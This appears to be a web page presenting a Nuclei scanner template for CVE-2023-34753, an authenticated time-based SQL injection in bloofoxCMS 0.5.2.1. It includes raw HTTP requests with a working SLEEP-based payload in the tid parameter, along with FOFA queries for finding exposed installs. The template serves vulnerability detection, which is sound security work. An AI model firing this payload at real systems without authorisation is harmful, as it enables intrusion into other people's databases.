bloofoxCMS v0.5.2.1 - SQL Injection

ID: CVE-2023-34753

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve,cve2023,sqli,bloofox,authenticated

Description

bloofox v0.5.2.1 was discovered to contain a SQL injection vulnerability via the tid parameter at admin/index.php?mode=settings&page=tmpl&action=edit.

YAML Source

id: CVE-2023-34753

info:
  name: bloofoxCMS v0.5.2.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    bloofox v0.5.2.1 was discovered to contain a SQL injection vulnerability via the tid parameter at admin/index.php?mode=settings&page=tmpl&action=edit.
  reference:
    - https://www.bloofox.com
    - https://ndmcyb.hashnode.dev/bloofox-v0521-was-discovered-to-contain-many-sql-injection-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34753
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-34753
    cwe-id: CWE-89
    epss-score: 0.0257
    epss-percentile: 0.90221
    cpe: cpe:2.3:a:bloofox:bloofoxcms:0.5.2.1:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: bloofox
    product: bloofoxcms
    fofa-query:
      - "Powered by bloofoxCMS"
      - powered by bloofoxcms
  tags: time-based-sqli,cve,cve2023,sqli,bloofox,authenticated

http:
  - raw:
      - |
        POST /admin/index.php HTTP/2
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&action=login
      - |
        @timeout: 10s
        POST /admin/index.php?mode=settings&page=tmpl&action=edit HTTP/2
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        name=default&template=default.html&css=default.css&template_print=print.html&template_print_css=print.css&template_login=login.html&template_text=text.html&be=0&tid='+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+&send=Save

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - contains(header_2, "text/html")
          - contains(body_2, 'bloofoxCMS Admincenter')
        condition: and
# digest: 4a0a0047304502207967edc005a9e6b6e53801c667f576abc96f5025b92257e01fe566026b0305de022100f85ac7b54912bcfe6d2f424fa475db8fb7f78fcf115d8953495062a04cd5607b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-34753.yaml"

View on Github